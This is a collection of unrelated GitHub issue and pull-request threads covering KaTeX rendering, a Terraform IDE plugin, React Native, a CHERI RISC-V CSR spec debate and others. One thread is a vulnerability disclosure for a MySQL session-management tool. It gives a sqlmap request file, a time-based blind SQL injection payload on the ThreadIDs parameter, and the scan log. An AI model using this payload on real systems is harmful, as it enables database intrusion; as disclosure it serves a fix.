Different lines in {cases} environment collide

There's an apparent rendering bug in this code:
[ \begin{aligned}
d =
\begin{cases}
level_{base},     & \lambda \leq \frac{1}{2} \
nearest(\lambda), & \lambda > \frac{1}{2},
level_{base} + \lambda \leq
q + \frac{1}{2} \
q,                & \lambda > \frac{1}{2}, level_{base} + \lambda > q + \frac{1}{2}
\end{cases}
\end{aligned} ]
where the 1/2 fractions bump into the content of the cases above and below them. This doesn't happen when rendered by LaTeX. I did poke through the other issues first and it's not obvious this is a duplicate, though it may be. Seeing this in both Firefox and Chromium.

The real error here appears to be that LaTeX does switch to inline mode for {cases}, while KaTeX renders the lines in display mode. Thus the fractions are too large to fit without colliding. If you change the \frac to \dfrac and render this in LaTeX, the result looks pretty much the same:

If you want to use display mode (or have constructs in there which require more vertical space even in inline mode), then adding space via an optional argument to the \\ command is the way to go, just as in LaTeX.

TIL \dfrac.  Also, mathtools.sty defines dcases that behaves like the current KaTeX cases, and nccmath.sty defines darray that behaves like the current KaTeX array.
In addition to fixing {cases} to switch to text mode, we need to fix {array} similarly.

Fix in #606.

Closing this as there's a fix from #606 in the pipeline; in the meantime I did as @gagern suggested and used \\\\[0.5em] as a workaround. Thanks!


Use prompt defaults when option is passed in

Closes https://github.com/donejs/donejs/issues/819

Coverage increased (+0.1%) to 97.514% when pulling 823b6aee552a18b715bbe460dbf52805d67cadb2 on use-defaults into 98c414e5eba204110c304bcf6fc16c39e03c0779 on master.

Coverage increased (+0.1%) to 97.514% when pulling 823b6aee552a18b715bbe460dbf52805d67cadb2 on use-defaults into 98c414e5eba204110c304bcf6fc16c39e03c0779 on master.

lgtm 👍 minor release once merged.


Update example YAML in README

as seen in #7

Thanks for your feedback.  I just started using Github workflows yesterday, so I'm learning a lot.

Thanks for the change @oalders!

Thanks for your work @lannonbr.  This is really helpful.  👍


sealer

What happen?
No response
Relevant log output?
No response
What you expected to happen?
No response
How to reproduce it (as minimally and precisely as possible)?
No response
Anything else we need to know?
No response
What is the version of Sealer you using?
No response
What is your OS environment?
No response
What is the Kernel version?
No response
Other environment you want to tell us?

Cloud provider or hardware configuration:
Install tools:
Others:

@vinzol If this issue is not used, I will close it before the end of this working day


Clarify v-html usage

Originally, I'd thought that:

This {{ some_html}}

(where we might have vm.data.some_html='hello') ... would render something like:
hello
But instead we get:
Property or method "rawHtml" is not defined on the instance but referenced during render. Make sure to declare reactive data properties in the data option.

...if one is watching console errors.
My wording could be a little bit kludgy and others might be able to make it clearer but I think this may overcome some misunderstandings for those not familiar with vuejs.

Thanks! Just made a small update to the wording.


Sinc2 online fit failing

The Sinc2 online fit is failing with the message:
ionics_fragments.ndscan_extensions.analysis:Exception during online fit
ValueError: Residuals are not finite in the initial point.

The post-scan fit is returning meaningful results. The online fit for a RabiFlopFreq model with the same data quality works fine.

That's interesting. Do you have a dataset where it failed?

@saking2 I need more information than this to track the bug down. Can you give me anything else to go on?

I think this is resolve


N-best list for reranker.py

I was wondering what the best way is to create the n-best list that the reranker.py requires. It looks like I would need to use the beam_store output-type argument in translate.py. Is there a better way?

#558 was merged and I created #583 to make the reranker compatible with the new output format for nbest lists. Closing for now, feel free to reopen if you have more questions


Members of complex object outputs of modules are reported as unresolved if output referenzes object from array

Installation details

[x] IDE version (Help->About->Copy to Clipboard): 2019.3.3 Ultimate
[x] intellij-hcl plugin version (Settings->Plugins) 0.7.7
[x] Terraform version (terraform -v) Terraform v0.12.20, provider.aws v2.52.0

Terraform Configuration Files
Module output defined with a resource object in a module:
variable "enabled" {
  default = true
}
resource "aws_s3_bucket" {
  count = var.enabled ? 1 : 0
  ...
}
output "bucket" {
  value= var.enabled ? aws_s3_bucket.this_bucket[0] : null
}

and then referenced a member of the modules output object:
module "test" {}

local {
   test= module.test.bucket.bucket
}

Exception
Unresolved reference bucket

Expected Behavior
Members of complex outputs (e.g. ressources) from an array should not be reported as unresolved.
Actual Behavior
terraform apply properly works
IDEA displays validation error "Unresolved reference ".
This seems to have already been partially fixed with 0.7.2 (see #213) however it is still happening for this case with 0.7.7.

[x] IDE version (Help->About->Copy to Clipboard): JetBrains Rider 2019.3.4
[x] intellij-hcl plugin version (Settings->Plugins): 0.7.7
[x] Terraform version (terraform -v) Terraform v0.12.24 provider.aws v2.57.0

This seems to be close to my issue as well (uploading the picture to show incorrect syntax highlighting).

Result:

Screenshots with sources 🤦 , is there a web service which converts them to text already?

@albuch Seems it's unresolved due to ternary operator.

I am expierencing a similar issue in a setup having
output "disk" {
  value = var.allow_disk_source_change ? azurerm_managed_disk.disk_no_recreation[0] : azurerm_managed_disk.disk_force_recreation[0]
}

Where var.allow_disk_source_change is a bool. I am then using disk.id from the output. Terraform itself is not reporting anything but the plugin is reporting an error.
IDE Version: IntelliJ IDEA 2019.3.5 (Ultimate Edition) Build #IU-193.7288.26, built on May 6, 2020
intellij-hcl plugin version: 0.7.9
Terraform version: 0.12.25 provider.azurerm 2.10.0
If wanted I can create a separate Issue.

Looks like similar issue to mine:
resource "aws_eks_cluster" "main" {
  name = "test"
  role_arn = "role-abcd"
  vpc_config {
    subnet_ids = ["subnet-abcd"]
  }
}

output "oidc_provider_url" {
  value = aws_eks_cluster.main.identity[0].oidc[0].issuer
}

I'm getting Unresolved reference issuer while terraform apply and plan work fine. I can report a separate issue.
IDE Version: IntelliJ IDEA 2020.2 (Ultimate Edition) Build #IU-202.6397.94, built on July 27, 2020
intellij-hcl plugin version: 0.7.10
Terraform version: v0.13.1 provider aws 3.4.0


closeOnRowOpen not working correctly

I'm using a SwipeListView with SwipeRows inside of it, and the closeOnRowOpen prop doesn't seem to close rows when a new one opens. I'm able to open all rows at the same time and none of them close automatically.
      <SwipeListView
        data={records}
        listKey={(item2, index) => 'D' + index.toString()}
        keyExtractor={item => item.transactionId}
        renderItem={({ item }) => <OfflineRecordItem record={item} app={app} />}
        closeOnRowOpen
        closeOnRowBeginSwipe
      />
    ....
const OfflineRecordItem = ({ record, app, navigation }) => {
...
  return (
    <SwipeRow
      disableRightSwipe
      rightOpenValue={-145}
      stopRightSwipe={-145}
      ref={(ref) => { swipeRow = ref; }}
      swipeGestureBegan={() => {
        setOpen(true);
      }}
      onRowClose={() => {
        setOpen(false);
      }}
      disableLeftSwipe={status === STATUS.UPLOADING}
    >
...

Hey @jwilliamson-qb when closeOnRowOpen isn't working properly it's usually due to an issue with keys in the data. Can you ensure your keys are unique and being returned properly in the keyExtractor?
Beyond that I'm looking at my own example for any other differences: https://github.com/jemise111/react-native-swipe-list-view/blob/master/SwipeListExample/example.js#L209
Can you try using a top level SwipeRow instead of an OfflineRecordItem. Can you also try adding keys directly to each object in records instead of using a keyExtractor?
LMK if either of those fix it, those could be potential bugs on my end. Thanks!

Closing as inactive


Double braces on output

tldr.py leaves double braces on output. Shouldn't they be shown as underline or such?
For example:
$ tldr find find
Find files under the given directory tree, recursively.

Find files by extension:
find {{root_path}} -name '{{*.ext}}'

Find files matching path pattern:
find {{root_path}} -path '{{/lib//*.ext}}'

Run a command for each file, use {} within the command to access the filename:
find {{root_path}} -name '{{*.ext}}' -exec {{wc -l {} }};

Yeah, that's on purpose. I don't want to spend too much time on the styling. It is hard to do well, so I just keep the original face and show it to users. Also easy to distinguish where is the arguments.
I'm not willing to spend too much time on it, it may exhaust my enthusiasm on maintaining the project. I want to keep it as simple as possible.  But maybe I'll improve it in the future, I'll ping you back if it comes.
And sorry for the late response =)


doc: faq gpu compatibility

Add some information about GPU compatibility to the FAQs.

Thank you for creating this! So awesome. Possible to list the graphics cards by name instead of having people search on their own. Here is what I posted for the NVIDIA release of what's supported:
GeForce GTX TITAN X 980Ti 980 970 960 950 750Ti 750
GeForce GTX 980M 970M 965M 960M 950M 860M 850M
GeForce 940M 930M 910M 840M 830M
Quadro M5500M M5000 M2200 M1200 M620 M520
Tesla M60 M40
NVS 810

Thank you for creating this! So awesome. Possible to list the graphics cards by name instead of having people search on their own.

I would rather list them too, but there are some cards like the nvidia tesla T40 that have had issues supported, which their compute compatibility makes it look like they should work. Might be a system specific driver issue though.

I took a shot at creating a table of supported nvidia gpus


Menu

Added a functional play button and a functional quit button to the menu scene.
Added a scene named World to code and try the play button.

#2


Api response stats

Is there a way how to response statistics into Vue and show them at the router path instead of redirect with whole HTML content?

Can you elaborate a bit?


Fold long comment

Feature Description
User can comment long text, such as
https://gitea.com/gitea/act_runner/issues/28#issuecomment-732171
Maybe it is better to add a button to fold these long comments, or just do it automatically.
Screenshots
No response

Another easy fix would be to offer an Insert Details-button for the textfield that does nothing else than inserting
<details><summary>TITLE</summary>

CONTENT
</details>

That would most likely also help drastically already without forcing things on users.

How about add a notice when user comment long text without using details


call RNIap.initConnection() return undefined

Version of react-native-iap
4.4.2
Version of react-native
61.5
Platforms you faced the error (IOS or Android or both?)
IOS
Expected behavior
some return
Actual behavior
undefined
Tested environment (Emulator? Real Device?)
real device
Steps to reproduce the behavior
when i call RNIap.initConnection() in componentDidMount it return undefined
so i cannot get RNIap.getProducts()

solved when installing react-native-iap from Podfile

solved when installing react-native-iap from Podfile

how could i solve this in android ?


[ bug ]MySQL会话管理存在sql注入风险

应用版本/分支：1.8.2
MySQL版本：5.7.28
问题：kill会话时前端传入的thread_ids列表被当成纯字符串处理，存在sql注入风险
影响范围：
/db_diagnostic/create_kill_session/
/db_diagnostic/kill_session/
注入点：
sqlmap identified the following injection point(s) with a total of 124 HTTP(s) requests:
---
Parameter: ThreadIDs (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: instance_name=<IP_ADDRESS>&ThreadIDs=[2857) AND (SELECT 3385 FROM (SELECT(SLEEP(5)))upGy) AND (2892=2892]
---

sqlmap请求样例 req.txt
POST /db_diagnostic/create_kill_session/ HTTP/1.1
Host: <IP_ADDRESS>:9123
Connection: keep-alive
Content-Length: 68
Accept: application/json, text/javascript, */*; q=0.01
X-CSRFToken: vNe5oVVFsdGFkx05Lzkvn9i7NanddBH88YJbiOkevfEcLWMqHGPzNVky434V23Up
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://<IP_ADDRESS>:9123
Referer: http://<IP_ADDRESS>:9123/dbdiagnostic/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sessionid_dbgear_prod=cjoa73sj3zh8died9wrhxgco9mm8g0xt; csrftoken=vNe5oVVFsdGFkx05Lzkvn9i7NanddBH88YJbiOkevfEcLWMqHGPzNVky434V23Up; sessionid=uymn4ajmy3j8d5cseiqsjrgml3dbgpp2

instance_name=<IP_ADDRESS>&ThreadIDs=%5B3231%5D

sqlmap日志：
[root@m1 sqlmap]# sqlmap -r req.txt  -flush-session
        ___
       __H__
 ___ ___[(]_____ ___ ___  {<IP_ADDRESS>#dev}
|_ -| . [,]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[*] starting @ 15:57:35 /2021-12-27/

[15:57:35] [INFO] parsing HTTP request from 'req.txt'
it appears that provided value for POST parameter 'ThreadIDs' has boundaries. Do you want to inject inside? ('[2857*]') [y/N] y
[15:57:41] [INFO] flushing session file
[15:57:41] [INFO] testing connection to the target URL
[15:57:41] [INFO] checking if the target is protected by some kind of WAF/IPS
[15:57:43] [INFO] testing if the target URL content is stable
[15:57:43] [INFO] target URL content is stable
[15:57:43] [INFO] testing if POST parameter 'instance_name' is dynamic
[15:57:43] [INFO] POST parameter 'instance_name' appears to be dynamic
[15:57:43] [WARNING] heuristic (basic) test shows that POST parameter 'instance_name' might not be injectable
[15:57:43] [INFO] testing for SQL injection on POST parameter 'instance_name'
[15:57:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:57:43] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[15:57:43] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[15:57:44] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:57:44] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[15:57:44] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:57:44] [INFO] testing 'Generic inline queries'
[15:57:44] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[15:57:44] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[15:57:44] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[15:57:44] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[15:57:44] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:57:44] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[15:57:44] [INFO] testing 'Oracle AND time-based blind'
[15:57:48] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[15:57:48] [WARNING] POST parameter 'instance_name' does not seem to be injectable
[15:57:48] [INFO] testing if POST parameter 'ThreadIDs' is dynamic
[15:57:48] [WARNING] POST parameter 'ThreadIDs' does not appear to be dynamic
[15:57:48] [WARNING] heuristic (basic) test shows that POST parameter 'ThreadIDs' might not be injectable
[15:57:48] [INFO] testing for SQL injection on POST parameter 'ThreadIDs'
[15:57:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:57:48] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[15:57:48] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[15:57:49] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:57:49] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[15:57:49] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:57:49] [INFO] testing 'Generic inline queries'
[15:57:49] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[15:57:49] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[15:57:49] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[15:57:49] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[15:57:59] [INFO] POST parameter 'ThreadIDs' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[15:58:21] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:58:21] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[15:58:21] [INFO] checking if the injection point on POST parameter 'ThreadIDs' is a false positive
POST parameter 'ThreadIDs' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 124 HTTP(s) requests:
---
Parameter: ThreadIDs (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: instance_name=<IP_ADDRESS>&ThreadIDs=[2857) AND (SELECT 3385 FROM (SELECT(SLEEP(5)))upGy) AND (2892=2892]
---
[15:58:44] [INFO] the back-end DBMS is MySQL
[15:58:44] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
web application technology: Nginx 1.16.1
back-end DBMS: MySQL >= 5.0.12

[*] ending @ 15:58:44 /2021-12-27/

感谢, 现在 pr 已merge , closing


FbsearchPlacesResponse

Please fix the bug in FbsearchPlacesResponse.

Rename the variable "fbsearchLocation" to "Location"

Fixed in 2.0.3. Thanks for reporting

Fixed in 2.0.3. Thanks for reporting


Feature: DevdocsOpenCurrent would benefit from including additional relevant doc sources

Description
I love the DevdocsOpenCurrent idea but it's too restrictive right now, especially for web development filetypes.
For example, executing DevdocsOpenCurrent in jsx/tsx files opens the React documentation source. However, there are frameworks besides React that use those filetypes (SolidJS, StencilJS, etc). So including other relevant sources would make the command more useful in a lot of cases. A couple other examples off the top of my head:

js filetypes should show dom and node in addition to javascript
scss should show css and possibly sass (open current in scss files doesn't do anything right now)
vue/svelte/astro should also include html, dom, css, tailwindcss, javascript, typescript because all of those concepts are regularly used in the templating filetypes

Solution
A potential solution would be creating a configuration option that maps filetypes to doc sources, so you could do something like this:
require("nvim-devdocs").setup {
  filetype_sources = {
    ["javascript"] = { "javascript", "dom", "node" },
    ["typescriptreact"] = { "javascript", "typescript", "react", "dom", "html", "tailwindcss" },
    ["vue"] = { "javascript", "typescript", "dom", "vue-3", "html", "css", "tailwindcss" },
    ["scss"] = { "css", "sass", "tailwindcss" },
  },
}

Personally, I think the DevdocsOpenCurrent default behavior should be to include all sources that are relevant to the filetype since we have fuzzy finding to filter it down from there. But leaving the defaults as is and adding the new config option would be great too.
Thanks for making this plugin!

It's now possible with the filetypes config.


Browser remember credentials

Hello,
Is it possible, and how to make the browsers offer to store username and password?
Thanks for the good job.
Greetings, János

Closing per above comment as won't fix.


Missing items: Thalassian Wildercloak

Links to WOTLK Wowhead for each item:
https://www.wowhead.com/wotlk/item=29994/thalassian-wildercloak

https://github.com/wowsims/wotlk/pull/1203


Can this lib be used for the sequential graph coloring algorithm implemented by boost::graph?

This is more of a question than an issue, but does this lib port that functionality as well?

Hello, @scmorse.
Current v0.7.x contains only the BGL-inspired DirectedGraph container class and a small collection of BGL-inspired algorithms; breadth and depth-first traversal (search and visit variants via input param options) and transpose.
Doesn't look super difficult conceptually to port the algorithm from BGL's Sequential Vertex Coloring to JavaScript using the existing DirectedGraph API.
This is something you could write yourself if you were sufficiently motivated and use yourself or publish as a stand-alone package with a runtime dependency on jsgraph. Or, we could possibly collaborate to get it ported, tested, and documented for inclusion in a future release of jsgraph.
Can you comment about your use case? I'm just curious.

... on a related note I've got a purpose-built subsystem in a jsgraph-derived project that's responsible for filtering and partitioning operations. I've been thinking it might be worth generalizing it a bit more and including it with jsgraph. Sequential coloring algorithm is a good use case of this facility perhaps. Will have to think about this a bit.

I'll dig this up again the next time I'm in this code looking for something to do.


mkpr package.json [{"op":"test","path":"/devDependencies/npm-pkgbuild","value":"^6.3.16"},{"op":"replace","path":"/devDependencies/npm-pkgbuild","value":"^6.3.17"}]

Pull Request Test Coverage Report for Build 1567

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 99.399%

Totals

Change from base Build 1564:
0.0%

Covered Lines:
301

Relevant Lines:
302

💛  - Coveralls


feature proposal

hellow @jbowes,
For my own uses, I have experimented with a change which I'd like to know if you're interested in before I spend more time on it for a proper PR.
Long story short, whenever you want to add support for a specific elliptic curve and a specific hasher function, you are forced to implement a specific private signer & verifier, as well as a specific public signer & verifier functions (ie: signEcdsaP256Sha256, verifyEcdsaP256Sha256, WithSignEcdsaP256Sha256, WithVerifyEcdsaP256Sha256).
I implemented WithSignEcdsa(), WithVerifyEcdsa, signEcdsa & verifyEcdsa which take an additional crypto.Hash parameter and use key.Curve.Params().Name and crypto.Hash.String() to infer the algorithm. With this, I could easily switch between curves and hash functions to support combinations that are currently unsupported in your package.
Is this something you'd be interested in ?

hi!
yes, i am interested. My intent was to have builtin implementations for the default combinations in the spec's registry, but then allow for arbitrary signing/verification outside of the default registry.
so something like: ```go
type Signer interface {
Sign(in io.Reader) ([]byte, error)
}
func WithSigner(alg string, signer Signer) signatureOption
(and the same for verifier) seems about right to me. Then consumers would be responsible for bundling up pre-hashing and signing/verifying into a single interface.


Possibility to improve the performance

Dear Mattt,
When I am testing this lib with 1000 points which are very close to each other, most of the distance are smaller than the epsilon. I found neighbor will be added to neighbors again and again, though it has been marked with a label.
Best Regards,
Haibin

See https://github.com/NSHipster/DBSCAN/pull/2#issuecomment-791449410


Uncaught TypeError: Cannot read property 'responsive' of undefined(…)

I've tried just about everything to get the API to render responsive(), but it seems that jquery never finds it. I have Jquery loaded in the head and Cloudinary in a bundle.js in the footer. What could I be doing wrong?
Also, I pulled down this bundle to check the examples, and even your Bootstrap example within the Sample folder isn't working. No errors, but you can see from the code that the file size never changes. It's pretty outdated code, so I presume its something there.
Would appreciate any help though as all I'd like to do is use the data attributes as mentioned here http://cloudinary.com/blog/how_to_automatically_create_images_for_responsive_design and get my images to resize automatically based on their container constraint.
Thanks!

Was due to a conflict with another jquery version.


I'm very sorry to have disturbed you.

I was wondering if you could update The-Alchemist-Code---asset-downloader-and-extractor ? I can't use it to download all assets anymore.

No.
I don't care about the game anymore, which is also the reason I archived the repo.


refactor: unify k8s+vm upgrade pattern

TODO

Test on live charm when K8s examples exist
Add + update tests
Add + update full usage docstring

Changes Made
refactor: remove upgrade-finished event + handler, use relation-changed

Moving the logic to relation-changed to be coordinated by the Juju leader
NOTE - Does mean that charms need to recurse on leader. Possibly not as have added a call on set_unit_completed. Needs testing

feat: add resume-strategy to pre-upgrade-check

auto - all units upgrade automatically

Default on VM

safe - upgrade pauses on first unit

Default on K8s

refactor: add unified _update_stack()

Leader-only
On K8s, shifts partition
Updates relation-data stack
Called during resume-upgrade action, and if completed top of stack + first unit + 'safe'

Closing as no longer relevant.


Add PGAdmin to do db operations smoothly

Hey, @mithun2003, there's a PR for the exact same purpose already. #75


Allow XLEN writes to new CSRs in Zcherihybrid

Remove outdated requirement preventing XLEN writes to new CHERI CSRs added in Zcherihybrid: dddc, ddc, mtdc, stdc, vstdc. The XLEN write rules for these CSRs are the same rules that already exist for regular, extended RISC-V CSRs like mscratch.
Fixes #352

I mean if anything it would make more sense to have these always be CLEN-wide accesses.

I mean if anything it would make more sense to have these always be CLEN-wide accesses.

This is the alternative i.e. to make them read/write CLEN regardless of the CHERI execution mode.
I went for the other option which is to make them consistent with the behaviour of extended CSR which read/write XLEN when the CHERI execution mode is Integer Pointer Mode. @jrtc27: Do you see any issues why this would not work?

I mean it works but if you want to do anything useful with them you then need to be in capability mode, which means you'd have to allocate another CSR encoding for the hypothetical future Zcherihybridthathasusefulmemops that lets you do most capability things from integer mode. I don't really see the downside to making it always be CLEN, other than that it's a special case.

I realise you can switch modes.  Mode switching is to remain compatible with the existing ISA definition, but these are not existing CSRs.

Also, what do you even name the integer versions of these?

It is a bit inconsistent that the GPR operand type for the csrrw changes based on the target register, it would be more consistent to just to XLEN writes even if that is not useful.
RISC-V has a lot of encodings allocated to non-useful things (zero register base for loads), so this is not different.
The advantage of making it always CLEN means we don't need a name for the XLEN alias and you can use it without a modeswitch from legacy mode for sandboxing.
I am fine with either solution, I wonder what is easier for hardware implementations?

Also, what do you even name the integer versions of these?

Presumably they can have the same name since the "new" names (mtvecc etc.) are now just aliases of the old ones (mtvec). IMO it would be worth removing the new names altogether but that's another discussion.
In the Sail implementation we currently allow XLEN writes to ddc etc. It's more regular and therefore simpler code. We could change it to disallow them fairly easily though but it would be extra code, and then you have more types of CSRs:

XLEN only
XLEN and CLEN
CLEN only

It would be nice to only have XLEN and XLEN and CLEN, though I get your point that it's kind of a useless feature.

I don't think we need new names to allow XLEN writes.
I can see both sides of the argument - having XLEN writes is compeltely regular and having CLEN writes is more useful.
How often do we really think that this will be a problem? Why not update CLEN CSRs from cap mode? c.modesw was added for exactly that as Andres pointed out.
So unless something large comes to light I'm in favour of teh current proposal of XLEN writes - to keep the regularity.

I'm not strongly opposed, but I do think it's a waste of CSR encodings in integer mode. It's also really weird to name the capabilities as capabilities yet interact with them as integers; there is no other case of that in the ISA, as doing so with the GPRs uses the X names.

Yes it's a waste of encodings but you wouldn't want them to be allocated to
other things which would be really confusing, so maybe think of it as
reserving them for CHERI?
On Mon, 9 Sept 2024, 18:29 Jessica Clarke, @.***> wrote:

I'm not strongly opposed, but I do think it's a waste of CSR encodings in
integer mode. It's also really weird to name the capabilities as
capabilities yet interact with them as integers; there is no other case of
that in the ISA, as doing so with the GPRs uses the X names.
—
Reply to this email directly, view it on GitHub
https://github.com/riscv/riscv-cheri/pull/354#issuecomment-2338675646,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AOCTJAALL7LMWD3BCTRGCB3ZVXLGTAVCNFSM6AAAAABNYPT76CVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGMZYGY3TKNRUGY
.
You are receiving this because you commented.Message ID:
@.***>

Yet you could have them reserved for CHERI and actually useful for CHERI. Given there are CSRs which are always integers in both modes, I don't understand what's wrong with having ones that are always capabilities in both modes.

That's a fair point
On Mon, 9 Sept 2024, 18:40 Jessica Clarke, @.***> wrote:

Yet you could have them reserved for CHERI and actually useful for CHERI.
Given there are CSRs which are always integers in both modes, I don't
understand what's wrong with having ones that are always capabilities in
both modes.
—
Reply to this email directly, view it on GitHub
https://github.com/riscv/riscv-cheri/pull/354#issuecomment-2338704609,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AOCTJADCQU7DCBOAG4YUAF3ZVXMRRAVCNFSM6AAAAABNYPT76CVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGMZYG4YDINRQHE
.
You are receiving this because you commented.Message ID:
@.***>

Ultimately I think this is something the ARC may end up changing again, so it might not be too important which approach we use.
Since you can do useful things with always CLEN without changing modes (e.g. read ddc, scbnds, write dcc) it might be slightly better to go for that approach. But again I don't really mind which approach we take here.

Changed such that, on new CSRs, CSRRW always does CLEN access and everything else (CSRRWI, CSRRS, CSRRC, etc) does CLEN read and XLEN write.

I re-read the Sail and actually I think I was wrong before and that is what we implemented already. Oops. Here's a snippet just in case I still can't read:
function set_mtvecc(value : Capability) -> unit = {
  mtvecc = legalize_tvecc(mtvecc, convertInvalidAddr(value));
}

function set_mtvec(value : xlenbits) -> unit = {
  let mtv = legalize_tvec(Mk_Mtvec(mtvecc.address), convertInvalidAddr(value));
  mtvecc = setCapAddrChecked(mtvecc, mtv.bits);
  // TODO: Clear tag if `value + 4 * MAX_MCAUSE` is not representable.
}

function set_ddc(value : Capability) -> unit = {
  ddc = convertInvalidAddrCap(value);
}

// You can see the lack of `dd` name here! -ed
function set_ddc_xlen(value : xlenbits) -> unit = {
  ddc = setCapAddrChecked(ddc, convertInvalidAddr(value));
}

...

// Return true if this is a CLEN-width CSR.
function is_clen_csr(csr : csreg) -> bool = match csr {
  0x305 => true, // mtvecc
...
  0x416 => true, // ddc
...

  _ => false,
}

// Write a capability CSR (is_clen_csr(csr) is true) with a Capability.
function write_clen_csr(csr : csreg, value : Capability) -> unit = {
  let stripTag = boundsMalformed(value) | permsMalformed(value) | not(capReservedValid(value));
  let value = { value with tag = value.tag & not(stripTag) };
  let res : Capability = match csr {
    0x305 => {set_mtvecc(value); mtvecc},
...
    0x416 => {set_ddc(value); ddc},
...
    _ => internal_error(__FILE__, __LINE__, "write_clen_csr for XLEN CSR; this should not be possible"),
  };
}

// Write a capability CSR (is_clen_csr(csr) is true) with xlenbits.
function write_clen_csr_with_xlen(csr : csreg, value : xlenbits) -> unit = {
  let res : Capability = match csr {
    0x305 => {set_mtvec(value); mtvecc},
...
    0x416 => {set_ddc_xlen(value); ddc},
...
    _ => internal_error(__FILE__, __LINE__, "write_clen_csr_with_xlen for XLEN CSR; this should not be possible"),
  };
}

// Read a capability CSR (is_clen_csr(csr) is true) returning the entire capability.
function read_clen_csr(csr : csreg) -> Capability = match csr {
...
  0x305 => mtvecc,
...
  0x416 => ddc,
...
  _ => internal_error(__FILE__, __LINE__, "read_clen_csr for XLEN CSR; this should not be possible"),
}

// execute(CSR) body was moved into separate functions so it can be overridden for CHERI -ed

// Handle CSR ops for CHERI. This special cases CLEN-width CSRs and delegates
// all other CSRs to the default non-CHERI handler.
function handle_csr_op(csr, rs1, rd, is_imm, op, isWrite, isRead) =
  if is_clen_csr(csr) then {
    // Reads of CLEN registers are always CLEN.
    let csr_val = if isRead then read_clen_csr(csr) else zero_reg;
    if isWrite then {
      // The only way to write metadata is with `csrrw` in CapPtrMode mode.
      // Note `op == CSRRW` means `csrrw` or` csrrwi` which is why why also
      // check `not(is_imm)`.
      if effective_cheri_mode() == CapPtrMode & op == CSRRW & not(is_imm) then {
        write_clen_csr(csr, C(rs1));
      } else {
        let rs1_val : xlenbits = if is_imm then zero_extend(rs1) else X(rs1);
        let new_val : xlenbits = match op {
          CSRRW => rs1_val,
          CSRRS => csr_val.address | rs1_val,
          CSRRC => csr_val.address & ~(rs1_val)
        };
        write_clen_csr_with_xlen(csr, new_val);
      };
    };
    if effective_cheri_mode() == CapPtrMode then {
      C(rd) = csr_val;
    } else {
      X(rd) = csr_val.address;
    };
    RETIRE_SUCCESS
    // Original code for existing CSRs.
  } else default_handle_csr_op(csr, rs1, rd, is_imm, op, isWrite, isRead)

Changed such that, on new CSRs, CSRRW always does CLEN access and everything else (CSRRWI, CSRRS, CSRRC, etc) does CLEN read and XLEN write.

I re-read the Sail and actually I think I was wrong before and that is what we implemented already. Oops. Here's a snippet just in case I still can't read:
function set_mtvecc(value : Capability) -> unit = {
  mtvecc = legalize_tvecc(mtvecc, convertInvalidAddr(value));
}

function set_mtvec(value : xlenbits) -> unit = {
  let mtv = legalize_tvec(Mk_Mtvec(mtvecc.address), convertInvalidAddr(value));
  mtvecc = setCapAddrChecked(mtvecc, mtv.bits);
  // TODO: Clear tag if `value + 4 * MAX_MCAUSE` is not representable.
}

function set_ddc(value : Capability) -> unit = {
  ddc = convertInvalidAddrCap(value);
}

// You can see the lack of `dd` name here! -ed
function set_ddc_xlen(value : xlenbits) -> unit = {
  ddc = setCapAddrChecked(ddc, convertInvalidAddr(value));
}

...

